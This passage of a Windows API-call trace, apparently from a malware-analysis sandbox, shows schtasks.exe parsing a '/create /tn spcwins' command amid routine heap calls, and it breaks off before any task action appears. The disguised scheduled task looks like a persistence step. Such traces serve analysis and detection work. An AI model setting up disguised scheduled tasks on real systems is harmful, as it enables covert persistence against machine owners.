hHeap=0x440000, dwFlags=0x0, lpMem=0x45ddd0 | out: hHeap=0x440000) returned 1 [0130.802] GetProcessHeap () returned 0x440000 [0130.802] GetProcessHeap () returned 0x440000 [0130.802] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45cda0) returned 1 [0130.802] GetProcessHeap () returned 0x440000 [0130.803] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45cda0) returned 0x20 [0130.803] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45cda0 | out: hHeap=0x440000) returned 1 [0130.803] GetProcessHeap () returned 0x440000 [0130.803] GetProcessHeap () returned 0x440000 [0130.803] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45de90) returned 1 [0130.803] GetProcessHeap () returned 0x440000 [0130.803] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45de90) returned 0x8 [0130.803] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45de90 | out: hHeap=0x440000) returned 1 [0130.803] GetProcessHeap () returned 0x440000 [0130.803] GetProcessHeap () returned 0x440000 [0130.803] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45cdd0) returned 1 [0130.803] GetProcessHeap () returned 0x440000 [0130.803] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45cdd0) returned 0x20 [0130.804] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45cdd0 | out: hHeap=0x440000) returned 1 [0130.804] GetProcessHeap () returned 0x440000 [0130.804] GetProcessHeap () returned 0x440000 [0130.804] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45d560) returned 1 [0130.804] GetProcessHeap () returned 0x440000 [0130.804] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45d560) returned 0x10 [0130.804] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45d560 | out: hHeap=0x440000) returned 1 [0130.804] GetProcessHeap () returned 0x440000 [0130.804] GetProcessHeap () returned 0x440000 [0130.804] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45ce00) returned 1 [0130.804] GetProcessHeap () returned 0x440000 [0130.804] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45ce00) returned 0x20 [0130.805] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45ce00 | out: hHeap=0x440000) returned 1 [0130.805] GetProcessHeap () returned 0x440000 [0130.805] GetProcessHeap () returned 0x440000 [0130.805] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45deb0) returned 1 [0130.805] GetProcessHeap () returned 0x440000 [0130.805] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45deb0) returned 0x6 [0130.805] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45deb0 | out: hHeap=0x440000) returned 1 [0130.805] GetProcessHeap () returned 0x440000 [0130.805] GetProcessHeap () returned 0x440000 [0130.805] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45ce30) returned 1 [0130.805] GetProcessHeap () returned 0x440000 [0130.805] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45ce30) returned 0x20 [0130.806] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45ce30 | out: hHeap=0x440000) returned 1 [0130.806] GetProcessHeap () returned 0x440000 [0130.806] GetProcessHeap () returned 0x440000 [0130.806] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45ba10) returned 1 [0130.806] GetProcessHeap () returned 0x440000 [0130.806] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45ba10) returned 0x18 [0130.806] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45ba10 | out: hHeap=0x440000) returned 1 [0130.806] SetLastError (dwErrCode=0x0) [0130.807] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0130.807] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0130.807] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0130.807] VerifyVersionInfoW (in: lpVersionInformation=0x25c4d0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x25c4d0) returned 1 [0130.807] SetLastError (dwErrCode=0x0) [0130.807] lstrlenW (lpString="create") returned 6 [0130.807] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0130.807] SetLastError (dwErrCode=0x490) [0130.807] SetLastError (dwErrCode=0x0) [0130.807] lstrlenW (lpString="create") returned 6 [0130.807] GetProcessHeap () returned 0x440000 [0130.807] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x45ce30 [0130.807] GetProcessHeap () returned 0x440000 [0130.807] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x18) returned 0x45d560 [0130.807] _memicmp (_Buf1=0x45d560, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.807] GetProcessHeap () returned 0x440000 [0130.807] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x16) returned 0x45d580 [0130.808] SetLastError (dwErrCode=0x0) [0130.808] _memicmp (_Buf1=0x45bad0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.808] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x45bc70, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0130.808] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0130.808] GetProcessHeap () returned 0x440000 [0130.808] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x74e) returned 0x45ddd0 [0130.809] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x45ddd0 | out: lpData=0x45ddd0) returned 1 [0130.809] VerQueryValueW (in: pBlock=0x45ddd0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x25c5b8, puLen=0x25c620 | out: lplpBuffer=0x25c5b8*=0x45e16c, puLen=0x25c620) returned 1 [0130.809] _memicmp (_Buf1=0x45bad0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.809] _vsnwprintf (in: _Buffer=0x45bc70, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x25c598 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0130.809] VerQueryValueW (in: pBlock=0x45ddd0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x25c628, puLen=0x25c618 | out: lplpBuffer=0x25c628*=0x45df98, puLen=0x25c618) returned 1 [0130.809] lstrlenW (lpString="schtasks.exe") returned 12 [0130.809] lstrlenW (lpString="schtasks.exe") returned 12 [0130.809] lstrlenW (lpString=".EXE") returned 4 [0130.809] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0130.809] lstrlenW (lpString="schtasks.exe") returned 12 [0130.809] lstrlenW (lpString=".EXE") returned 4 [0130.809] lstrlenW (lpString="schtasks") returned 8 [0130.810] lstrlenW (lpString="/create") returned 7 [0130.810] _memicmp (_Buf1=0x45bad0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.810] _vsnwprintf (in: _Buffer=0x45bc70, _BufferCount=0x19, _Format="%s %s", _ArgList=0x25c598 | out: _Buffer="schtasks /create") returned 16 [0130.810] _memicmp (_Buf1=0x45baf0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.810] GetProcessHeap () returned 0x440000 [0130.810] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x45ce00 [0130.810] _memicmp (_Buf1=0x45bb10, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.810] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x45d300, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0130.810] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0130.810] GetProcessHeap () returned 0x440000 [0130.810] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x30) returned 0x457b20 [0130.810] _vsnwprintf (in: _Buffer=0x45c070, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x25c598 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0130.810] GetProcessHeap () returned 0x440000 [0130.810] GetProcessHeap () returned 0x440000 [0130.810] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45ddd0) returned 1 [0130.810] GetProcessHeap () returned 0x440000 [0130.811] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45ddd0) returned 0x74e [0130.811] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45ddd0 | out: hHeap=0x440000) returned 1 [0130.811] SetLastError (dwErrCode=0x0) [0130.811] GetThreadLocale () returned 0x409 [0130.811] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0130.811] lstrlenW (lpString="create") returned 6 [0130.811] GetThreadLocale () returned 0x409 [0130.811] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0130.811] lstrlenW (lpString="?") returned 1 [0130.811] GetThreadLocale () returned 0x409 [0130.812] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0130.812] lstrlenW (lpString="s") returned 1 [0130.812] GetThreadLocale () returned 0x409 [0130.812] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0130.812] lstrlenW (lpString="u") returned 1 [0130.812] GetThreadLocale () returned 0x409 [0130.812] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0130.812] lstrlenW (lpString="p") returned 1 [0130.812] GetThreadLocale () returned 0x409 [0130.812] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0130.812] lstrlenW (lpString="ru") returned 2 [0130.812] GetThreadLocale () returned 0x409 [0130.812] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0130.812] lstrlenW (lpString="rp") returned 2 [0130.812] GetThreadLocale () returned 0x409 [0130.812] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0130.812] lstrlenW (lpString="sc") returned 2 [0130.812] GetThreadLocale () returned 0x409 [0130.813] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0130.813] lstrlenW (lpString="mo") returned 2 [0130.813] GetThreadLocale () returned 0x409 [0130.813] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0130.813] lstrlenW (lpString="d") returned 1 [0130.813] GetThreadLocale () returned 0x409 [0130.813] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0130.813] lstrlenW (lpString="m") returned 1 [0130.813] GetThreadLocale () returned 0x409 [0130.813] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0130.813] lstrlenW (lpString="i") returned 1 [0130.813] GetThreadLocale () returned 0x409 [0130.813] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0130.813] lstrlenW (lpString="tn") returned 2 [0130.813] GetThreadLocale () returned 0x409 [0130.813] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0130.813] lstrlenW (lpString="tr") returned 2 [0130.813] GetThreadLocale () returned 0x409 [0130.813] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0130.813] lstrlenW (lpString="st") returned 2 [0130.814] GetThreadLocale () returned 0x409 [0130.814] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0130.814] lstrlenW (lpString="sd") returned 2 [0130.816] GetThreadLocale () returned 0x409 [0130.816] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0130.817] lstrlenW (lpString="ed") returned 2 [0130.817] GetThreadLocale () returned 0x409 [0130.817] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0130.817] lstrlenW (lpString="it") returned 2 [0130.817] GetThreadLocale () returned 0x409 [0130.817] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0130.817] lstrlenW (lpString="et") returned 2 [0130.817] GetThreadLocale () returned 0x409 [0130.817] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0130.817] lstrlenW (lpString="k") returned 1 [0130.817] GetThreadLocale () returned 0x409 [0130.817] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0130.817] lstrlenW (lpString="du") returned 2 [0130.817] GetThreadLocale () returned 0x409 [0130.817] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0130.817] lstrlenW (lpString="ri") returned 2 [0130.817] GetThreadLocale () returned 0x409 [0130.817] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0130.817] lstrlenW (lpString="z") returned 1 [0130.818] GetThreadLocale () returned 0x409 [0130.818] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0130.818] lstrlenW (lpString="f") returned 1 [0130.818] GetThreadLocale () returned 0x409 [0130.818] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0130.818] lstrlenW (lpString="v1") returned 2 [0130.818] GetThreadLocale () returned 0x409 [0130.818] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0130.818] lstrlenW (lpString="xml") returned 3 [0130.818] GetThreadLocale () returned 0x409 [0130.818] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0130.818] lstrlenW (lpString="ec") returned 2 [0130.818] GetThreadLocale () returned 0x409 [0130.818] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0130.818] lstrlenW (lpString="rl") returned 2 [0130.818] GetThreadLocale () returned 0x409 [0130.818] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0130.818] lstrlenW (lpString="delay") returned 5 [0130.818] GetThreadLocale () returned 0x409 [0130.819] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0130.819] lstrlenW (lpString="np") returned 2 [0130.819] SetLastError (dwErrCode=0x0) [0130.819] SetLastError (dwErrCode=0x0) [0130.819] lstrlenW (lpString="/create") returned 7 [0130.819] lstrlenW (lpString="-/") returned 2 [0130.819] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0130.819] lstrlenW (lpString="create") returned 6 [0130.819] lstrlenW (lpString="create") returned 6 [0130.819] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.819] lstrlenW (lpString="create") returned 6 [0130.819] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.819] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|create|") returned 8 [0130.819] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|create|") returned 8 [0130.819] lstrlenW (lpString="|create|") returned 8 [0130.819] lstrlenW (lpString="|create|") returned 8 [0130.819] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0130.820] SetLastError (dwErrCode=0x0) [0130.820] SetLastError (dwErrCode=0x0) [0130.820] SetLastError (dwErrCode=0x0) [0130.820] lstrlenW (lpString="/tn") returned 3 [0130.820] lstrlenW (lpString="-/") returned 2 [0130.820] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0130.820] lstrlenW (lpString="create") returned 6 [0130.820] lstrlenW (lpString="create") returned 6 [0130.820] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.820] lstrlenW (lpString="tn") returned 2 [0130.820] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.820] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|create|") returned 8 [0130.820] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|tn|") returned 4 [0130.820] lstrlenW (lpString="|create|") returned 8 [0130.820] lstrlenW (lpString="|tn|") returned 4 [0130.820] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0130.820] SetLastError (dwErrCode=0x490) [0130.821] lstrlenW (lpString="?") returned 1 [0130.821] lstrlenW (lpString="?") returned 1 [0130.821] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.821] lstrlenW (lpString="tn") returned 2 [0130.821] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.821] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|?|") returned 3 [0130.821] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|tn|") returned 4 [0130.821] lstrlenW (lpString="|?|") returned 3 [0130.821] lstrlenW (lpString="|tn|") returned 4 [0130.821] SetLastError (dwErrCode=0x490) [0130.821] lstrlenW (lpString="s") returned 1 [0130.821] lstrlenW (lpString="s") returned 1 [0130.821] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.821] lstrlenW (lpString="tn") returned 2 [0130.821] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.821] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|s|") returned 3 [0130.821] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|tn|") returned 4 [0130.822] lstrlenW (lpString="|s|") returned 3 [0130.822] lstrlenW (lpString="|tn|") returned 4 [0130.822] SetLastError (dwErrCode=0x490) [0130.822] lstrlenW (lpString="u") returned 1 [0130.822] lstrlenW (lpString="u") returned 1 [0130.822] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.822] lstrlenW (lpString="tn") returned 2 [0130.822] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.822] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|u|") returned 3 [0130.822] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|tn|") returned 4 [0130.822] lstrlenW (lpString="|u|") returned 3 [0130.822] lstrlenW (lpString="|tn|") returned 4 [0130.822] SetLastError (dwErrCode=0x490) [0130.822] lstrlenW (lpString="p") returned 1 [0130.822] lstrlenW (lpString="p") returned 1 [0130.822] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.822] lstrlenW (lpString="tn") returned 2 [0130.822] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.823] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|p|") returned 3 [0130.823] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|tn|") returned 4 [0130.823] lstrlenW (lpString="|p|") returned 3 [0130.823] lstrlenW (lpString="|tn|") returned 4 [0130.823] SetLastError (dwErrCode=0x490) [0130.823] lstrlenW (lpString="ru") returned 2 [0130.823] lstrlenW (lpString="ru") returned 2 [0130.823] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.823] lstrlenW (lpString="tn") returned 2 [0130.823] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.823] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|ru|") returned 4 [0130.823] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|tn|") returned 4 [0130.823] lstrlenW (lpString="|ru|") returned 4 [0130.823] lstrlenW (lpString="|tn|") returned 4 [0130.823] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0130.823] SetLastError (dwErrCode=0x490) [0130.823] lstrlenW (lpString="rp") returned 2 [0130.823] lstrlenW (lpString="rp") returned 2 [0130.824] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.824] lstrlenW (lpString="tn") returned 2 [0130.824] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.824] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|rp|") returned 4 [0130.824] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|tn|") returned 4 [0130.824] lstrlenW (lpString="|rp|") returned 4 [0130.824] lstrlenW (lpString="|tn|") returned 4 [0130.824] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0130.824] SetLastError (dwErrCode=0x490) [0130.824] lstrlenW (lpString="sc") returned 2 [0130.824] lstrlenW (lpString="sc") returned 2 [0130.824] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.824] lstrlenW (lpString="tn") returned 2 [0130.824] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.824] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|sc|") returned 4 [0130.824] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|tn|") returned 4 [0130.824] lstrlenW (lpString="|sc|") returned 4 [0130.825] lstrlenW (lpString="|tn|") returned 4 [0130.825] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0130.825] SetLastError (dwErrCode=0x490) [0130.825] lstrlenW (lpString="mo") returned 2 [0130.825] lstrlenW (lpString="mo") returned 2 [0130.825] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.825] lstrlenW (lpString="tn") returned 2 [0130.825] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.825] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|mo|") returned 4 [0130.825] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|tn|") returned 4 [0130.825] lstrlenW (lpString="|mo|") returned 4 [0130.825] lstrlenW (lpString="|tn|") returned 4 [0130.825] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0130.825] SetLastError (dwErrCode=0x490) [0130.825] lstrlenW (lpString="d") returned 1 [0130.825] lstrlenW (lpString="d") returned 1 [0130.825] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.826] lstrlenW (lpString="tn") returned 2 [0130.826] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.826] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|d|") returned 3 [0130.826] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|tn|") returned 4 [0130.826] lstrlenW (lpString="|d|") returned 3 [0130.826] lstrlenW (lpString="|tn|") returned 4 [0130.826] SetLastError (dwErrCode=0x490) [0130.826] lstrlenW (lpString="m") returned 1 [0130.826] lstrlenW (lpString="m") returned 1 [0130.826] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.826] lstrlenW (lpString="tn") returned 2 [0130.826] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.826] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|m|") returned 3 [0130.826] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|tn|") returned 4 [0130.826] lstrlenW (lpString="|m|") returned 3 [0130.826] lstrlenW (lpString="|tn|") returned 4 [0130.826] SetLastError (dwErrCode=0x490) [0130.827] lstrlenW (lpString="i") returned 1 [0130.827] lstrlenW (lpString="i") returned 1 [0130.827] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.827] lstrlenW (lpString="tn") returned 2 [0130.827] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.827] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|i|") returned 3 [0130.827] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|tn|") returned 4 [0130.827] lstrlenW (lpString="|i|") returned 3 [0130.827] lstrlenW (lpString="|tn|") returned 4 [0130.827] SetLastError (dwErrCode=0x490) [0130.827] lstrlenW (lpString="tn") returned 2 [0130.827] lstrlenW (lpString="tn") returned 2 [0130.827] _memicmp (_Buf1=0x45c220, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.827] lstrlenW (lpString="tn") returned 2 [0130.827] _memicmp (_Buf1=0x45c260, _Buf2=0xff121b08, _Size=0x7) returned 0 [0130.827] _vsnwprintf (in: _Buffer=0x45c2a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|tn|") returned 4 [0130.827] _vsnwprintf (in: _Buffer=0x45c280, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c5a8 | out: _Buffer="|tn|") returned 4 [0130.827] lstrlenW (lpString="|tn|") returned 4 [0130.828] lstrlenW (lpString="|tn|") returned 4 [0130.828] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0130.828] SetLastError (dwErrCode=0x0) [0130.828] SetLastError (dwErrCode=0x0) [0130.828] lstrlenW (lpString="spcwins") returned 7 [0130.828] lstrlenW (lpString="-/") returned 2 [0130.828] StrChrIW (lpStart="-/", wMatch=0x73) returned 0x0 [0130.828] SetLastError (dwErrCode=0x490) [0130.828] SetLastError (dwErrCode=0x490) [0130.828] 